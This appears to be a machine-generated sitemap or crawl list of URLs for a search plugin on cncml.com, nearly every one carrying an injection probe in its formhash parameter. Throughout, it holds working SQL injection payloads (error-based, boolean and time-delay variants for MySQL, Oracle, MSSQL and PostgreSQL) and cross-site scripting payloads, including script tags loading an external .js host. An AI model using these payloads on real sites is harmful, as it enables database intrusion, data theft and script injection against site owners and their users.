http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x3530376563653264%20ELSE%200x28%20END))%20AND%20'f3'='f3 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(68=75)%20THEN%200x3530376563653264%20ELSE%200x28%20END))%20AND%20'IY'='IY 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%20('SO'%20LIKE%20'Hh 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%2046=86%20AND%20('kB'='kB 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20OR%2066=66%20AND%20('NH'='NH 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(65=52)%20THEN%200x3530376563653264%20ELSE%200x28%20END))%20AND%20('mK'='mK 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x3530376563653264%20ELSE%200x28%20END))%20AND%20('Fn'='Fn 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=78)%20THEN%200x3530376563653264%20ELSE%200x28%20END))%20AND%20(21=21 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%200x3530376563653264%20ELSE%200x28%20END))%20AND%20(75=75 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,(SELECT%20(CASE%20WHEN%20(21=48)%20THEN%200x3530376563653264%20ELSE%2021*(SELECT%2021%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,(SELECT%20(CASE%20WHEN%20(46=58)%20THEN%200x3530376563653264%20ELSE%2046*(SELECT%2046%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,(SELECT%20(CASE%20WHEN%20(81=42)%20THEN%200x3530376563653264%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d1 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d6633x3X6 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2dAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2dAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2dJyI%3D 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2da' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2dalert(42873) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2de360 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7 0.0015 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%00' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25%27%29%20AND%2094%3D31%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%2039=21%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(48=65)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%2527 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%2527%20AND%2019=71%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%5B%5D 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%5C%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%5C' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7%bf%27 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%20'GQ'='ki 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20OR%20'Vh'='Vh'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(94=37)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20'HG'='HG 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=692490b7'%5B.%5D(,.)(%22 0.0001 